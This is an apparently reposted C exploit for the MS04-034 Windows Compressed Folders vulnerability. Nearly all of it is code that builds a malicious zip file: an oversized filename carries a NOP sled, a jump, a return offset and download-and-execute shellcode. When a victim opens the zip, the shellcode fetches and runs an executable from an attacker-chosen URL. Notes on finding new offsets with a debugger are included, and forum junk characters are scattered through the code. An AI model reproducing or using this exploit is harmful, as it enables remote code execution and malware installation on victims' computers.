(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * 9 w, c4 X, t- x2 y* Tested under Windows XP SP0 Spanish/English : O8 A# G! V7 X* * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html ) H2 ?+ |# o+ v2 ^ Q* Exploit Date: 21/10/2004 : i9 g7 P) W: E* 3 \- ]1 M0 U- A* Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION & w# K$ T$ `; t! L: \4 q0 | f$ r; Y* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * 2 z7 w3 H4 z) M0 j0 l; W/ q: Z* r" v* Greetings t #haxorcitos, #dsr and #localhost @efnet " W, b- b( F0 s: P; ]* * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * 5 A* A( P3 [6 }4 b1 B4 E% t& V*/ + R& s+ S4 q% X& }8 r/ w, {; T ! d/ m5 V S8 p( Q, b" e#include <stdio.h> #include <windows.h> 9 R$ l, ^6 \8 B5 T' E# w8 p. L 6 E+ K3 l- ^/ V" J- u#pragma pack(1) * p& t; K/ M3 I* F: X4 U* c#define DATOS "Tarako-Haxorcitos.com" 0 r4 F2 i. H# o* j4 d/ _* j2 r 8 s0 O; z+ b! ~2 u- ]6 H4 ztypedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; * v( V# M0 p7 j' d- zWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; $ s6 d0 w+ L6 O8 {4 ^2 |WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; # q' ~$ _ `, a) H& d1 Z- I. m, C. P// filename (variable size) // extra field (variable size) }TOPHEADER; 3 i- h% {8 o" m ) j/ x/ O) \+ b$ z+ i Q ( @" x( f* H9 ?' P T# Ctypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; $ ]8 F! p. l2 _; ~: LWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; 7 r- i7 _7 C w; DWORD ModFileTime; & \% A% }% {. I# IWORD ModFileDate; DWORD Crc32; & `# K7 ^3 h0 f7 s: y7 A# ?DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; * M5 A( c5 P& R3 }- D- H' KWORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; ( G5 s x6 Y# E% w& r( E; }7 MDWORD RelativeOffsetOfLocalHeader; // filename (variable size) . T/ U* \% m/ a& s- }* n9 U" W' e// extra field (variable size) // file comment (variable size) 1 j! ` m9 |! j. h}MIDDLEHEADER; 4 }) E1 L/ n# Wtypedef struct { ( x* w3 Y6 @9 l/ n& n' T. z1 iDWORD Signature; // PK.. 4 bytes (0x06054B50) " `' K8 b) q" bWORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; 0 `: m+ z2 C# Z4 Q. ]WORD TotalNumEntriesCentralDir; - O1 G8 r- a- C* R5 \DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; ' B+ e# e( A+ b2 d2 x( h 8 n* {5 Z: J% V) r( j, o1 w/* 3 H5 P+ H3 P) c {+ f9 a o" P* download shellcode - RaiSe - raise@netsearch-ezine.com */ 5 K( p- B+ K3 J, [' X# q; bchar shellcode1[] = 5 @ V% H# g/ l1 n7 I. h; w9 n: y, Z"\xEB\x5D\x5F\x8B\xF7\x80\x3F" ) H6 j; T1 j7 u"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 5 Q4 t5 l# S7 V* [2 `3 Y"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" K* P, q* Y0 L+ H"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" % w8 J) G L ]7 |2 i"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" & d9 H& Q# _( F; Q3 v* R/ z"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" ( n; l8 | l5 a: v* D4 z"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 4 C- Y0 V& w% _1 L. m"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" ! v7 M( z7 O' Y: e"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" 4 e9 Q2 M$ [% T8 n% Y3 {" O3 a"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" 9 w2 f) i2 P' f* X4 j# Y! s8 Z3 ]"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" / W2 G5 C. l! s5 s: H* B"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" $ f( }0 m. { \"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" ) v" W: K. l! I5 s8 d4 a* L$ J"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" ' M7 s/ n- I/ b" f"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" 9 ?7 ]2 z# r6 [/ d. ?, Z* X" V6 d"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 5 i! V4 j$ y3 L. u. }"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 1 [5 z! }! l) Z5 _) a"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" " O8 }2 i# b" d" c"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" 6 v" S: S* } |7 C"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" . O6 h+ B: J5 p3 M. G% T2 b"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" & \, k2 } N8 L' K0 s# t# x$ x Y" h4 U"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" ) ]6 u- {6 u0 l/ K, n2 V6 b, \"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 7 n' H0 X/ a+ Q D5 uchar shellcode2[] ="\x08\x01"; 1 V- w$ X4 F1 B! h8 [, M" j3 K char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; 9 W- I8 F, B( Y4 s7 a! wint main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; ( W& C+ y; _+ o1 I+ i# a: ?BOTTOMHEADER *Cabecera3; 4 T `$ K) {) \# W DWORD c; UINT i; ; Z5 N4 d: @ J* y) [6 W7 |1 ochar *filename; char *url; l {" [6 a. v X* D3 |7 O& ]printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); / n# | C' R# ?3 V1 Cprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { . M4 ~9 S8 R3 W; c" n `% Tprintf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } url=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); . t- J2 J5 b9 b; tmemset(filename,0,sizeof(filename)); / y+ @: s% d) Ifor( i=0x0;i<c;i++) filename=(BYTE)0x90; 8 V; w% x/ v$ u4 H9 q2 c 5 n4 I4 |6 \$ t* imemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); 0 k9 S' ^+ v2 D: F/ W # N" ^6 ]1 n# O5 b7 [2 s; [memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); & o/ r% Z$ z+ q( S$ Q( S 0 ^; B6 J v. o% Mmemcpy(filename+(c-4),".txt",4); Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 8 A0 U' R/ v' j" G ACabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); 5 u& a- ~! {, }5 E' [memset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 3 p m, E( z: V( r" O /////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// $ l. g( k# Q7 jCabecera1->Signature=0x04034B50; // DWORD + O y- r3 T( x: ]; |2 C. ACabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas " y. v3 x9 [4 A" u1 aCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD & Y/ t0 Y) y% b' n/ A/ x" K6 `) T7 ACabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD 5 Y! s1 w4 |. E& c5 {* pCabecera1->CompressedSize=0x00000015; // DWORD / h& V9 R& p5 j2 d7 m- [Cabecera1->UncompressedSize=0x00000015; // DWORD ' z8 N! U& G) O- V5 w5 UCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD / [# I" p; Z; a: s; A: I, Z8 I% G/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// . \: z# y+ O7 e1 Y// MIDDLEHEADER , o9 g$ _; C! u5 p% p+ r3 h7 Q* b/////////////////////////////////////////////////////////////////// 9 _# p+ y+ k9 ECabecera2->Signature=0x02014B50; // DWORD ) ?' s( [, b$ s- \Cabecera2->MadeVersion=0x0014; // WORD ) R& c! ~" u+ ~* _. nCabecera2->VersionNeeded=0x000A; // WORD + J e \2 R7 K* a0 W% }) p/ `- l7 e. rCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD 2 f1 u: N* K' F$ \9 J! nCabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 0 a/ B% n3 J+ h1 H9 Y1 aCabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD . i' F# B, H8 s( q' W. e7 pCabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD 6 A5 w. U! W/ A) DCabecera2->ExternalFileAttributes=0x00000020; // DWORD 4 [0 ]8 I( s+ \; p' e! s# eCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD q- U0 J: `7 Q. {# _# r( G" I/////////////////////////////////////////////////////////////////// 0 C+ L$ b5 o& {" J0 v2 A 9 o7 v. O: q) f/ D# Z d/////////////////////////////////////////////////////////////////// // BOTTOMHEADER /////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 9 S0 @1 t0 f% P0 @Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD & E9 i( i0 N* s. z, ]; H, BCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD / e) y' b1 X' h% T* c jCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// & `" e" x0 r) ]& I# Z3 K 3 N) o* j# e# D; ?! m8 A+ Sfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); + e( f8 _4 ?$ b- A3 D0 s3 Y / H+ h! L8 t3 g2 J0 tfwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); ) o2 X; G3 e# F, I/ i3 L Ufwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); $ O5 d. k! I( e: I& a) s4 Tfclose(ZipFile); printf("\n * prueba.zip created\n"); return 1; }//downloaded from milw0rm.com - W! `0 b( I8 m